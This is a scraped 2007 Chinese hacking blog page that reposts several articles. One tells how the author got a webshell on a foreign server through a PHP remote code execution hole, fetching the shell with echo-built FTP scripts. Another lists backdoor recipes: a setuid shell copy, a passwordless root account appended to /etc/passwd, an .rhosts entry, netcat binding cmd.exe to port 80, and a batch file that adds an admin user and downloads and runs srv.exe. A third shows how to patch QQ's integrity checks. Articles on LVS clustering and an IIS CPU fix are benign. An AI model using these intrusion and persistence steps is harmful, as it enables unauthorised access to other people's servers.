IT博客-Lycou' Blog-文章分类-技术无底

linux+apache+php的一次拿webshell的心得

Lycou' Blog — Thu, 01 Feb 2007 07:54:00 GMT

linux+apache+php的一次拿webshell的心得

作者：stealthwalker 来源：邪恶八进制信息安全团队发布时间：2007-2-1 0:45:26 发布人：黑客动画吧

首先俺先声明俺是个菜鸟，俺虽然是菜鸟但俺不会一直是菜鸟的（一旁兄弟喊到：别俺，俺，俺的，说普通话！）。俺，不对，我一直遵照着实践是检验真理的唯一标准这句话学习技术，这不，刚刚实践了一次有了一点小小的心得，拿出来和大家分享一下：）
简单介绍一下背景吧（旁白：我kao，你写小说呢？），我一直想拿一个TK国的肉鸡（没有仇啊，只是从来没拿过，想要！），于是google了一个，然后一阵狂扫（哎，固有思路的错）废了半天劲，结果是没戏！正准备走的时候发现了它用的一个投票系统，于是满大街找终于找到了下载地址。dwon下来后，开始阅读代码（当时很激动，第一次尝试漏洞发掘！），结果居然被我找到了一个远程代码执行的漏洞，乎乎，赶紧试了一下，成功！看样子，我要发财了。于是看了看safe_mode=OFF，嘿嘿~~可以执行shell命令。下面的思路很显然了，就是拿webshell。原来在win中碰到mssql可以执行命令的情况最简单的办法就是用echo写入一句话后门，于是赶紧找来php的一句话后门，结果一看傻了眼。linux shell中">","<","$",";"等等这些字符都是有特殊含义的。而linux下转义特殊字符的方法有两种：
1。使用单引号将要转义的字符包含起来
2。在需要转义的字符前加上“\”符号。

正要兴冲冲地修改一句话后门，才想起来还没看看目标机器的magic_quotes_gpc是怎么设置的。一想到这心里凉了一大节，一般都是ON的啊。实践检验真理，果然被我言中了。因为它一ON，所有的单引号，还有空字符，以及“\”等字符前面又被加上了一个“\”。我的一句后门被改的面目全非还执行个P啊：-（

一条路断了，接着找另一条。想到wget下载的方法，这个以前看过很多前辈用过，于是先看看wget存不存在，如图（图中我是为了方便，自己写的一个exp。）：

=800) window.open('/Article/UploadPic/2007-2/2007210454786.jpg');" src="/Article/UploadPic/2007-2/2007210454786.jpg" onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>
看样子是存在的。于是把一个执行cmd功能的php文件cmd.php改成cmd.txt上传到自己的web空间（记得要改后缀啊，因为直接请求一个php文件返回的结果是解析过的，肯定不对的了！），在exp环境中输入wget http：//www.myhost.com/cmd.txt。结果等了半天却是失败了（后来我又
google了几个有漏洞的站，只有一个使用wget下载成功的。其它的都失败了！：-（）
一条路又没了，哎~~~接着想吧！突然想起来原来在win下使用ftp命令上传webshell的方法，于是回忆了一下过程：
1。使用echo命令把ftp指令echo到一个文本文件里
2。使用 ftp的-s选项制订这个文本文件，这样下载的整个过程都不需要人工干预了。

好，说干就干！需要echo的内容如下：
echo open 111.111.111.111 >temp.txt
echo username >>temp.txt
echo passwd >>temp.txt
echo get cmd.txt >>temp.txt
echo bye >>temp.txt

上面的ip和用户名和密码都是假的，你问我为什么？（我kao，我怕哪为大哥把我的ftp给做了：-）实际用的时候换成你自己的就行了，好，开始在exp环境下echo，一会的功夫就echo完了。确保正确我们在cat一下看看吧：cat ./temp.txt，这一cat不要紧，我又惊了一次！里面的每一行都被重复了一次，如图（这个是我事后为了写这个文章重新做的，所以忘了在最前面echo open 111.111.111.111了，大家知道就行！：-）

=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg" onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>
面对这个问题，再次我让我想到在win+mssql情况下也碰到这样的问题，原因是由于对数据库多次查询造成的结果。当时的解决办法有很多，常用的有：
1。如果写入的是一句话后门可以直接echo进去，使用“>”而不是“>>”。
2。写入hget.vbs，用来下载指定的文件。这个时候可以才用“：”符号把各行代码连接起来，一次性写入。
3。或者是用echo把每行代码都echo到一个不同的文件，然后再用copy命令把这些文件的内容连接起来生成新的文件。

还有其它的方法我就不多说了，但很明显，这些方法用在我这里是肯定不行的了！因为我查了一下，cp命令好像不支持“+”连接符。难道没办法了吗？NO！方法是人想出来的，于是乎我查来查去还真让我找到了一个宝贝：uniq命令，这个是linux shell下的自带程序，功能很单一，但恰恰是我们需要的——去除重复行。我再kao一次，thank god！命令帮助如下：

QUOTE:

$ uniq --help
Usage: uniq [OPTION]... [INPUT [OUTPUT]]
Discard all but one of successive identical lines from INPUT (or
standard input), writing to OUTPUT (or standard output).

Mandatory arguments to long options are mandatory for short options too.
-c, --count prefix lines by the number of occurrences
-d, --repeated only print duplicate lines
-D, --all-repeated[=delimit-method] print all duplicate lines
delimit-method={none(default),prepend,separate}
Delimiting is done with blank lines.
-f, --skip-fields=N avoid comparing the first N fields
-i, --ignore-case ignore differences in case when comparing
-s, --skip-chars=N avoid comparing the first N characters
-u, --unique only print unique lines
-w, --check-chars=N compare no more than N characters in lines
--help display this help and exit
--version output version information and exit

A field is a run of whitespace, then non-whitespace characters.
Fields are skipped before chars.

Report bugs to .

常搞黑的应该能认出大多数单词了，我就不多做介绍了。反正用在我这里，就这么简单一句命令就可以搞定：uniq temp.txt >down.txt,如图：

=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg" onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>
哈哈，成了吧？下面用法就很简单了，在exp的提示符下输入ftp 下面的工作就好办了，使用mv改个名字就行了：mv ./cmd.txt ./cmd.php

到这里就结束了，我原来在交流版块发过一个求助的帖子，除了几个兄弟回帖外便没有什么价值的东西了。我也是菜鸟，和大多数菜鸟都有一个很不好的习惯：不懂就问。哎~~~其实有些东西不是咱们比老鸟差，而是我们太懒太不知道总结了，所以我们应该是不懂就学，而不是不懂就问！这样，我们才会从菜鸟变成老鸟，才能进步！

上面乃是自己的经验总结，看上去很简单，可是却耗费了我不少精力，所以如果您不喜欢请不要打击我，回个帖鼓励鼓励我，我会很感激的。谢谢！

Lycou' Blog 2007-02-01 15:54 发表评论

Linux操作系统下的集群原理及实战经历

Lycou' Blog — Thu, 01 Feb 2007 07:53:00 GMT

Linux操作系统下的集群原理及实战经历

作者：佚名来源：转载发布时间：2007-1-31 9:56:40 发布人：黑客动画吧

减小字体增大字体

一集群和Linux上的集群解决方案

　　集群系统(Cluster)主要解决下面几个问题：

　　高可靠性（HA）

　　利用集群管理软件，当主服务器故障时，备份服务器能够自动接管主服务器的工作，并及时切换过去，以实现对用户的不间断服务。

　　高性能计算（HP）

　　即充分利用集群中的每一台计算机的资源，实现复杂运算的并行处理，通常用于科学计算领域，比如基因分析，化学分析等。

　　负载平衡

　　即把负载压力根据某种算法合理分配到集群中的每一台计算机上，以减轻主服务器的压力，降低对主服务器的硬件和软件要求。

　　基于Linux的集群解决方案可谓百花齐放。在实际应用中，最常见的情况是利用集群解决负载平衡问题，比如用于提供WWW服务。在这里主要展示如何使用LVS(Linux Virtial Server)来实现实用的WWW负载平衡集群系统。

　　二 LVS简介

　　LVS是章文嵩博士发起和领导的优秀的集群解决方案，许多商业的集群产品，比如RedHat的Piranha，TurboLinux公司的Turbo Cluster等，都是基于LVS的核心代码的。在现实的应用中，LVS得到了大量的部署，请参考http://www.linuxvirtualserver.org/deployment.html。关于Linux LVS的工作原理和更详细的信息，请参考http://www.linuxvirtualserver.org。

　　三 LVS配置实例

　　通过Linux LVS，实现WWW，Telnet服务的负载平衡。这里实现Telnet集群服务仅为了测试上的方便。

　　LVS有三种负载平衡方式，NAT（Network Address Translation），DR（Direct Routing），IP Tunneling。其中，最为常用的是DR方式，因此这里只说明DR(Direct Routing)方式的LVS负载平衡。为测试方便，4台机器处于同一网段内，通过一交换机或者集线器相连。实际的应用中，最好能将虚拟服务器vs1和真实服务器rs1, rs2置于于不同的网段上，即提高了性能，也加强了整个集群系统的安全性。

　　服务器的软硬件配置

　　首先说明，虽然本文的测试环境中用的是3台相同配置的服务器，但LVS并不要求集群中的服务器规格划一，相反，可以根据服务器的不同配置和负载情况，调整负载分配策略，充分利用集群环境中的每一台服务器。

　　这3台服务器中，vs1作为虚拟服务器（即负载平衡服务器），负责将用户的访问请求转发到集群内部的rs1,rs2，然后由rs1,rs2分别处理。client为客户端测试机器，可以为任意操作系统。 4台服务器的操作系统和网络配置分别为：

																																												vs1: RedHat 6.2, Kernel 2.2.19  
vs1: eth0 192.168.0.1  
vs1: eth0:101 192.168.0.101  
rs1: RedHat 6.2, Kernel 2.2.14  
rs1: eth0 192.168.0.3  
rs1: dummy0 192.168.0.101  
rs2: RedHat 6.2, Kernel 2.2.14  
rs2: eth0 192.168.0.4  
rs2: dummy0 192.168.0.101  
client: Windows 2000  
client: eth0 192.168.0.200

　　其中，192.168.0.101是允许用户访问的IP。

虚拟服务器的集群配置

　　大部分的集群配置工作都在虚拟服务器vs1上面，需要下面的几个步骤：

　　重新编译内核。

　　首先，下载最新的Linux内核，版本号为2.2.19，下载地址为：http://www.kernel.org/，解压缩后置于/usr/src/linux目录下。

　　其次需要下载LVS的内核补丁，地址为：http://www.linuxvirtualserver.org/software/ipvs-1.0.6-2.2.19.tar.gz。这里注意，如果你用的Linux内核不是2.2.19版本的，请下载相应版本的LVS内核补丁。将ipvs-1.0.6-2.2.19.tar.gz解压缩后置于/usr/src/linux目录下。

　　然后，对内核打补丁，如下操作：

																																												[root@vs2 /root]# cd /usr/src/linux  
[root@vs2 linux]# patch -p1 < ipvs-1.0.6-2.2.19/ipvs-1.0.6-2.2.19.  
patch

　　下面就是重新配置和编译Linux的内核。特别注意以下选项：

																																												1 Code maturity level options--->  
* [*]Prompt for development and/or incomplete code/drivers  
2 Networking部分：  
[*] Kernel/User netlink socket  
[*] Routing messages  
<*> Netlink device emulation  
* [*] Network firewalls  
[*] Socket Filtering  
<*> Unix domain sockets  
* [*] TCP/IP networking  
[*] IP: multicasting  
[*] IP: advanced router  
[ ] IP: policy routing  
[ ] IP: equal cost multipath  
[ ] IP: use TOS value as routing key  
[ ] IP: verbose route monitoring  
[ ] IP: large routing tables  
[ ] IP: kernel level autoconfiguration  
* [*] IP: firewalling  
[ ] IP: firewall packet netlink device  
* [*] IP: transparent proxy support  
* [*] IP: masquerading  
--- Protocol-specific masquerading support will be built as modules.  
* [*] IP: ICMP masquerading  
--- Protocol-specific masquerading support will be built as modules.  
* [*] IP: masquerading special modules support  
* IP: ipautofw masq support (EXPERIMENTAL)(NEW)  
* IP: ipportfw masq support (EXPERIMENTAL)(NEW)  
* IP: ip fwmark masq-forwarding support (EXPERIMENTAL)(NEW)  
* [*] IP: masquerading virtual server support (EXPERIMENTAL)(NEW)  
[*] IP Virtual Server debugging (NEW) <--最好选择此项，以便观察LVS的调试信息  
* (12) IP masquerading VS table size (the Nth power of 2) (NEW)  
* IPVS: round-robin scheduling (NEW)  
* IPVS: weighted round-robin scheduling (NEW)  
* IPVS: least-connection scheduling (NEW)  
* IPVS: weighted least-connection scheduling (NEW)  
* IPVS: locality-based least-connection scheduling (NEW)  
* IPVS: locality-based least-connection with replication scheduling  
(NEW)  
* [*] IP: optimize as router not host  
* IP: tunneling  
IP: GRE tunnels over IP  
[*] IP: broadcast GRE over IP  
[*] IP: multicast routing  
[*] IP: PIM-SM version 1 support  
[*] IP: PIM-SM version 2 support  
* [*] IP: aliasing support  
[ ] IP: ARP daemon support (EXPERIMENTAL)  
* [*] IP: TCP syncookie support (not enabled per default)  
--- (it is safe to leave these untouched)  
< > IP: Reverse ARP  
[*] IP: Allow large windows (not recommended if <16Mb of memory)  
< > The IPv6 protocol (EXPERIMENTAL)

上面，带*号的为必选项。然后就是常规的编译内核过程，不再赘述。

　　在这里要注意一点：如果你使用的是RedHat自带的内核或者从RedHat下载的内核版本，已经预先打好了LVS的补丁。这可以通过查看/usr/src/linux/net/目录下有没有几个ipvs开头的文件来判断：如果有，则说明已经打过补丁。

　　编写LVS配置文件，实例中的配置文件如下：

																																												#lvs_dr.conf (C) Joseph Mack mack@ncifcrf.gov  
LVS_TYPE=VS_DR  
INITIAL_STATE=on  
VIP=eth0:101 192.168.0.101 255.255.255.0 192.168.0.0  
DIRECTOR_INSIDEIP=eth0 192.168.0.1 192.168.0.0 255.255.255.0 192.168.0. 255  
SERVICE=t telnet rr rs1:telnet rs2:telnet  
SERVICE=t www rr rs1:www rs2:www  
SERVER_VIP_DEVICE=dummy0  
SERVER_NET_DEVICE=eth0  
#----------end lvs_dr.conf------------------------------------

　　将该文件置于/etc/lvs目录下。

　　使用LVS的配置脚本产生lvs.conf文件。该配置脚本可以从http://www.linuxvirtualserver.org/Joseph.Mack/configure-lvs_0.8.tar.gz 单独下载，在ipvs-1.0.6-2.2.19.tar.gz包中也有包含脚本configure的使用方法：

																																												[root@vs2 lvs]# configure lvs.conf

　　这样会产生几个配置文件，这里我们只使用其中的rc.lvs_dr文件。修改/etc/rc.d/init.d/rc.local，增加如下几行：

																																												echo 1 > /proc/sys/net/ipv4/ip_forward  
echo 1 > /proc/sys/net/ipv4/ip_always_defrag  
# 显示最多调试信息  
echo 10 > /proc/sys/net/ipv4/vs/debug_level

　　配置NFS服务。这一步仅仅是为了方便管理，不是必须的步骤。假设配置文件lvs.conf文件放在/etc/lvs目录下，则/etc/exports文件的内容为：

																																												/etc/lvs ro(rs1,rs2)

　　然后使用exportfs命令输出这个目录:

																																												[root@vs2 lvs]# exportfs

　　如果遇到什么麻烦，可以尝试：

																																												[root@vs2 lvs]# /etc/rc.d/init.d/nfs restart  
[root@vs2 lvs]# exportfs

　　这样，各个real server可以通过NFS获得rc.lvs_dr文件，方便了集群的配置:你每次修改lvs.conf中的配置选项，都可以即可反映在rs1,rs2的相应目录里。修改/etc/syslogd.conf，增加如下一行： kern.* /var/log/kernel_log。这样，LVS的一些调试信息就会写入/var/log/kernel_log文件中。

Real Server的配置

　　Real Server的配置相对简单，主要是是以下几点：

　　配置telnet和WWW服务。telnet服务没有需要特别注意的事项，但是对于www服务，需要修改httpd.conf文件，使得apache在虚拟服务器的ip地址上监听，如下所示：

																																												Listen 192.168.0.101:80

　　关闭Real Server上dummy0的arp请求响应能力。这是必须的，具体原因请参见 ARP problem in LVS/TUN and LVS/DR关闭dummy0的arp响应的方式有多种，比较简单地方法是，修改/etc/rc.d/rc.local文件，增加如下几行：

																																												echo 1 > /proc/sys/net/ipv4/conf/all/hidden  
ifconfig dummy0 up  
ifconfig dummy0 192.168.0.101 netmask 255.255.255.0 broadcast 192.168. 0.0 up  
echo 1 > /proc/sys/net/ipv4/conf/dummy0/hidden  
再次修改/etc/rc.d/rc.local，增加如下一行：（可以和步骤2合并）  
echo 1 > /proc/sys/net/ipv4/ip_forward

　　四 LVS的测试

　　好了，经过了上面的配置步骤，现在可以测试LVS了，步骤如下：

　　分别在vs1，rs1，rs2上运行/etc/lvs/rc.lvs_dr。注意，rs1,rs2上面的/etc/lvs目录是vs2输出的。如果您的NFS配置没有成功，也可以把vs1上/etc/lvs/rc.lvs_dr复制到rs1,rs2上，然后分别运行。确保rs1,rs2上面的apache已经启动并且允许telnet。

　　然后从client运行telnet 192.168.0.101，如果登录后看到如下输出就说明集群已经开始工作了。（假设以guest用户身份登录）

　　[guest@rs1 guest]$-----------说明已经登录到服务器rs1上。

　　再开启一个telnet窗口，登录后会发现系统提示变为：

　　[guest@rs2 guest]$-----------说明已经登录到服务器rs2上。

　　然后在vs2上运行如下命令：

																																												[root@vs2 /root]ipvsadm

　　运行结果应该为：

																																												IP Virtual Server version 1.0.6 (size=4096)  
Prot LocalAddress:Port Scheduler Flags  
-> RemoteAddress:Port Forward Weight ActiveConn InActConn  
TCP 192.168.0.101:telnet rr  
-> rs2:telnet Route 1 1 0  
-> rs1:telnet Route 1 1 0  
TCP 192.168.0.101:www rr  
-> rs2:www Route 1 0 0  
-> rs1:www Route 1 0 0

　　至此已经验证telnet的LVS正常。然后测试一下WWW是否正常：用你的浏览器查看http://192.168.0.101/是否有什么变化？为了更明确的区别响应来自那个Real Server，可以在rs1,rs2上面分别放置如下的测试页面(test.html)：

																																												我是real server #1 or #2

　　然后刷新几次页面（http://192.168.0.101/test.html），如果你看到“我是real server #1”和“我是real server #2”交替出现，说明www的LVS系统已经正常工作了。

　　但是由于Internet Explore 或者Netscape本身的缓存机制，你也许总是只能看到其中的一个。不过通过ipvsadm还是可以看出，页面请求已经分配到两个Real Server上了，如下所示：

																																												IP Virtual Server version 1.0.6 (size=4096) 
Prot LocalAddress:Port Scheduler Flags 
-> RemoteAddress:Port       Forward Weight ActiveConn InActConn 
TCP 192.168.0.101:telnet rr 
-> rs2:telnet Route 1 0 0 
-> rs1:telnet Route 1 0 0 
TCP 192.168.0.101:www rr 
-> rs2:www Route 1 0 5 
-> rs1:www Route 1 0 4

　　或者，可以采用linux的lynx作为测试客户端，效果更好一些。如下运行命令：

																																												[root@client /root]while true; do lynx -dump  
http://10.64.1.56/test.html; sleep 1; done

　　这样，每隔1秒钟“我是realserver #1”和“我是realserver #2”就交替出现一次，清楚地表明响应分别来自两个不同的Real Server。

Lycou' Blog 2007-02-01 15:53 发表评论

IIS问题：inetinfo.exe占用CPU 100％的原因及解决方法

Lycou' Blog — Thu, 01 Feb 2007 07:52:00 GMT

IIS问题：inetinfo.exe占用CPU 100％的原因及解决方法

作者：佚名来源：转载发布时间：2007-1-31 9:57:21 发布人：黑客动画吧

减小字体增大字体

netinfo.exe主要用于支持微软Windows IIS网络服务的除错。这个程序对你系统的正常运行是非常重要的。

属于系统组件，请不要删除！

你出现的情况是某病毒或者木马携带到这个进程当中，需要手动处理即可解决！

inetinfo.exe本身是正常的程序，您说的情况可能是：
1、有同名但位置不同的病毒文件存在并运行
2、该文件确实被病毒感染，如果是这样，计算机那就可能被能感染EXE格式文件的病毒感染了

你先停止 OpenSSL.exe和inetinfo.exe 这两个进程，然后再将C：/WINDOWS/SESTEM/OpenSSL.exe 和C：/WINDOWS/SESTEM/inetinfo.exe这两个文件删除就OK了。
inetinfo.exe除了再重新出现都是由于OpenSSL.exe 这个东西在作怪，你把OpenSSL.exe 删了，你就会发现inetinfo.exe删了不再出现。
我的也是前两天中了这个东西，经过结束进程删除、直接将文件删除、安全模式下删除、DOS下删除、换了几个杀毒软件后一样清除不了，痛苦之下到这里求救http://zhidao.baidu.com/question/5990378.html
但没有结果，最后我在痛苦万分的情况下，用“金山反间谍”的进程管理器分析一下，发现了这个千刀万剐的OpenSSL.exe 。

正常情况下，inetinfo.exe 是 IIS admin Service 或 world wide web publishing service

如果你的机器不需要以上两个服务，可以中止以上两个服务

要打开服务管理器，请开始——运行——输入 services.msc即可！

今天还在作我的“秀我博客”，正在完善和测试，因为开机时间长了，电脑太慢了所以想注销一下，没想到机器竟然蓝屏了。。。。我晕

重启后就出了大问题了，一打开我的页面，cpu就消耗了100%，仔细一看是inetinfo.exe，于是乎到网上又狂搜一顿。。。发现3篇文章写的真是有自信，声称都解决了自己的问题。。。我逐一试验过了，对我没有什么效果。。。真是郁闷啊，终于在看第三篇文章的时候说可能是iis的进程在写日志的时候出现了死循环，所以也去看了下日志，一看就明白了，今天的日志竟然都是乱码，看来是因为刚才死机造成的，赶紧把它删除了，再重新启动iis，打开页面，ok@_@！！狂喜，哈哈！

Lycou' Blog 2007-02-01 15:52 发表评论

黑客技巧系列之常见的一些留后门手法

Lycou' Blog — Thu, 01 Feb 2007 07:51:00 GMT

黑客技巧系列之常见的一些留后门手法

作者：hackmaster 来源：www.hack58.net 发布时间：2007-1-31 9:58:58 发布人：黑客动画吧

减小字体增大字体

对于我们这样的菜手，好不容易搞了台服务器很不容易，如果被发现了就惨了。其实，开后门的方法有很多种，下面我来说说，我以前学习过的几种方法。

1. Setuid

#cp /bin/sh /tmp/.root
#chmod u+s /tmp/.root

加上 suid 位到shell 上，虽然很简单，但容易被发现。

2. Echo "hack::0:0::/:/bin/csh" >> /etc/passwd

即给系统增加一个 ID 为 0（root)的帐号，无口令，但管理员用find命令就可以发现。

3.Echo "+ hack">>/.rhosts

如果这个系统开了512、513的port，就可以。把一个名为hack加到.rhosts文件中，rlogin登陆，无须密码。

4.修改 Sendmail.cf文件

增加一个"wiz" 命令，然后telnet www.xxx.com 25后，wiz，这就可以了。

5. Rootkit backdoor

这些东西现在是很火热的东西，但小心该后的文件的适用性、日期等等一些小的细节。有的需要自己编译，有的是编译好的。

6.Remote shell

Sunx的那个backdoor就很不错，不会产生日记文件，防止who等等。需要编译，但运行在redhat 6.1很不错。但在7.1等版本中好象就有点bug。

或者可以bindshell，可以替换inetd.conf中不常用的服务，注意文件的修改时间。

7. Http后门

其实，一般的防火墙对Web服务的限制少的很，所以我们可以从这里入手，这里需要用到端口重定向。简单的说就是web开的http服务有2个，一个是http本身，一个是remote shell bindshell。防火墙过滤其他一切port，禁止反向连接，简单的就是可以用nc。（netcat这个）把cmd.exe绑定到80端口上去。telnet www.xxx.com 80 然后就得到一个shell。或者可以利用asp,php.cgi等代码写的后门，也可以作到相同的效果。

8.Bat后门（原创）

如果是xnix服务器，没办法。

Ms服务器：

backdoor.bat
net user hacker windychild /add
net localgroup administrators hacker /add ...create super admin user
echo open www.xxx.com>c:\ftp.txt
echo xxx>>c:\ftp.txt
echo xxxxxx>>c:\ftp.txt
echo get srv.exe>>c:\ftp.txt
echo bye>>c:\ftp.txt
ftp -s:c:\ftp.txt
copy srv.exe c:\winnt\
c:\winnt\srv.exe
del c:\ftp.txt
del c:\srv.exe ......可以自己设置木马或后门等
....或你可以写上开启3389服务，telnet的语句
其他，开放共享服务！
net share ipc=ipc$
net share hdc=c$
......

如果狠点的话，干脆再给它上个rootkit for win。

9.可以利用邮件编码漏洞

自己设置一个base64的编码文件发给你的朋友，然后把后门.exe转换成邮件编码。

其实，上面的方法都是很常见的方法。还有很多方法，一时没办法整理出来，但对于新手来说足够了！

Lycou' Blog 2007-02-01 15:51 发表评论

逆向分析看人家怎么保护版权

Lycou' Blog — Thu, 01 Feb 2007 07:49:00 GMT

逆向分析看人家怎么保护版权

作者：asm[C.R.S.T] 来源：邪恶八进制信息安全团队发布时间：2007-2-1 0:47:18 发布人：黑客动画吧

减小字体增大字体

不知道大家写程序是怎么保护版权的。不过最近偶碰到两种思路比较好的，偶通过逆向分析把它们弄出来和大家分享 ^_^
　　第一种是保护方式是明小子旁注工具里面的。它的标题是："旁注WEB检测综合利用工具 [黑客动画吧出品 - 明小子]。改过版权的人都会知道怎么去修改这样的东东。利用VC资源编辑器选择二进制的方式打开文件，然后查找要修改的字符，把自己喜好的文字填进去就行了。但是你们是否发现，无论怎么弄，后面的“[黑客动画吧出品 - 明小子]”总是无法修改，一改，旁注工具一运行，就自己退出了。不知道改过这个工具的人有无注意。现在我们来看一下其中的猫腻。先把它的壳给扒了（壳是UPX，很容易扒的），用IDA载入查看。等等，我们先设想一下，旁注工具是怎么样保护这几个字符不被修改：先在一个缓冲区保存“[黑客动画吧出品 - 明小子]”，待启动工具后，对比一下标题部分是否和这个缓冲区里保存的字符等于，如果等，继续执行，如果不等，就out。这个是偶设想的，现在就来看看IDA里吧，我们快速通过IDA查找文本找是否发现这些字符。查看反汇编代码:
　　

CODE:

CODE:005A55D6 mov eax, [ebp-14h]
CODE:005A55D9 push eax
CODE:005A55DA mov edx, offset s_VwebTVer3_5C0 ; "旁注WEB综合检测程序 Ver3.5正式版 (05.7."...
CODE:005A55DF pop eax
CODE:005A55E0 call sub_404758
CODE:005A55E0
CODE:005A55E5 jnz short loc_5A5603
CODE:005A55E5
CODE:005A55E7 lea edx, [ebp-18h]
CODE:005A55EA mov eax, [ebp-4]
CODE:005A55ED call sub_476D74
CODE:005A55ED
CODE:005A55F2 mov edx, [ebp-18h]
CODE:005A55F5 mov eax, offset s_PN-B ; "黑客动画吧出品 - 明小子"
CODE:005A55FA call sub_404950
CODE:005A55FA
CODE:005A55FF test eax, eax
CODE:005A5601 jnz short loc_5A5633

[Copy to clipboard]

看到没,"黑客动画吧出品 - 明小子"的字符已经保存到eax中。接着调用sub_404950来检测是否一样,eax是否等于零，也就是字符串是否相同，如果是，就继续执行。如果比较失败，那么就跳到loc_5A5633处。现在来看一下loc_5A5633这个地址处的代码：

CODE:

CODE:005A5633 loc_5A5633: ; CODE XREF: CODE:005A5601j
CODE:005A5633 xor eax, eax
CODE:005A5635 pop edx
CODE:005A5636 pop ecx
CODE:005A5637 pop ecx
CODE:005A5638 mov fs:[eax], edx
CODE:005A563B push offset loc_5A5662

[Copy to clipboard]

很明显，它在为退出做准备，恢复了积存器的值。现在我们来总结一下，它的执行流程是：把 "黑客动画吧出品 - 明小子"字符串存到eax，然后调用sub_404758来查询。当eax等于0的时候，查询成功；不等于0的时候，就到 loc_5A5633恢复所有堆栈。到这里，就很明显，我们可以这样来完全改掉它的版权。把jnz short loc_5A5633改成 je short loc_5A5633。查询失败，照样去执行。下面根据这种保护版权的方式，偶给个简单的直观的模拟代码:

CODE:

;*******************************************************************
;程序编写by Asm
;日期：2007-1-24日
;出处：http://www.wolfexp.net/（红狼安全小组）
;注意事项：如欲转载，请保持本程序的完整，并注明：
;转载自红狼安全小组(http://www.wolfexp.net/)
;*******************************************************************
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.data
szText db 'asm是好男人 ^_^ 测试一下',0
szCaption db '[这里你就不能乱来了]',0
szFileText db '[这里你就不能乱来了]',0
.code
start:
jz Vstart
jnz Vstart
db 0E8h
Vstart:
lea ebx, szCaption
lea ecx, szFileText
invoke lstrcmp,ecx,ebx
.if eax == NULL
invoke MessageBox,NULL,addr szText,ebx,MB_OK
invoke ExitProcess,NULL
.elseif
invoke ExitProcess,NULL
.endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start

[Copy to clipboard]

下面再来看一下QQ是怎么对自己进行保护的。首先我们得发现问题，比如2006年最新版本的QQ，是不允许改名，如果你把QQ.EXE改成11111111.exe，QQ会无情地提示：“QQ程序出错，请重新安装”够叼吧？改个名字都不行，更别说要对QQ本身进行数据修改。按照第一种破解方法的提示，我们是否要寻找：“QQ程序出错，请重新安装”这个字符串？当初我也是这么认为，不过用IDA查找之后才发现，那是没用的。这个字符本身就存在文件本身，但是反汇编后就找不到。所以我猜想，QQ还有另外一种保护方法，那是什么捏？你问我，我问谁去？既然改了QQ，就执行不了，那么，是否和"QQ.exe"这个字符串有关系捏？在IDA里找了一下，找到两处地方是"QQ.exe"，其中这里最有价值：

CODE:

.text:0040187A push offset s_Qq_exe ; "QQ.exe"
.text:0040187F push eax
.text:00401880 lea eax, [ebp-28h]
.text:00401883 xor edi, edi
.text:00401885 push eax
.text:00401886 mov [ebp-4], edi
.text:00401889 call operator+(CString const &,char const *)
.text:00401889
.text:0040188E lea ecx, [ebp-30h]
.text:00401891 mov byte ptr [ebp-4], 2
.text:00401895 call CString::~CString(void)
.text:00401895
.text:0040189A push dword ptr [ebp-28h]
.text:0040189D mov ecx, esi
.text:0040189F call sub_4030D9 ;调用这个地址处的函数判断
.text:0040189F
.text:004018A4 test eax, eax ;是不是很熟悉？
.text:004018A6 jnz short loc_4018C0 ;开始判断QQ执行程序的名字是否QQ.exe

[Copy to clipboard]

如果这里，eax不等于0，就执行成功，来到loc_4018C0。也就是对比程序名字一样的时候，就到这里了：

CODE:

loc_4018C0:
movzx ebx, byte ptr [esi+0CEh]
movzx eax, byte ptr [esi+0CFh]
imul ebx, 64h
lea ecx, [ebp-38h]
add ebx, eax
call CString::CString(void)
lea eax, [ebp-30h]
mov byte ptr [ebp-4], 3
push eax
call ds:GetExeFolder(void)
mov [esp+7Ch+var_7C], offset s_Qqliveupdate_ ; "QQLiveUpdate.exe"
push dword ptr [eax]
lea eax, [ebp-38h]
mov byte ptr [ebp-4], 4
push offset s_SS ; "%s%s"
push eax
call CString::Format(char const *,...)

[Copy to clipboard]

到这里后，它会判断是否已经升级，如果没有，就执行QQLiveUpdate.exe程序进行升级。好，现在我们来看若是QQ名不一样的时候，它会怎么做：

CODE:

push 0FFFFFFFFh
push edi
push 4
call AfxMessageBox(uint,uint,uint) ;该死的，在这里提示QQ程序错误，请重新安装！
mov eax, [ebp+8]
mov dword ptr [eax], 1

loc_401F8C:
mov ecx, [ebp-0Ch]
pop edi ;恢复积存器准备退出了。这个家伙！
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_40184A endp ; sp = 4

[Copy to clipboard]

目前为止，偶已经明白了QQ是通过判断程序名字来决定是否启动QQ。够叼！就是这个害我搞了一个晚上，AV都木得看，日！废话少说，它不是eax不等于0就代码程序名字一样，就跳到loc_4018C0么，我们把指令改成，当eax等于0的时候，也就是程序名字不一样的时候，也跳到loc_4018C0。破戒的人都知道，把JNZ改成JE就行了，多简单呀 ^_^ 下面是模拟它这种保护方法的一个简单的汇编代码：

CODE:

;*******************************************************************
;程序编写by Asm
;日期：2007-1-24日
;出处：http://www.wolfexp.net/（红狼安全小组）
;注意事项：如欲转载，请保持本程序的完整，并注明：
;转载自红狼安全小组(http://www.wolfexp.net/)
;*******************************************************************
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.data
FileNameOfAsm db 156 dup(0)
FileName db 156 dup(0)
lpBuffer db 156 dup(0)
szFile db '\asm.exe',0
szText db '当你看到这里，说明程序的名字和原来一样',0
.data?
dwSize DWORD ?
lpLength DWORD ?
.code
start:
invoke GetModuleFileName,NULL,addr FileName,addr dwSize
invoke GetCurrentDirectory,addr lpLength,addr lpBuffer
invoke lstrcat,addr FileNameOfAsm,addr lpBuffer
invoke lstrcat,addr FileNameOfAsm,addr szFile
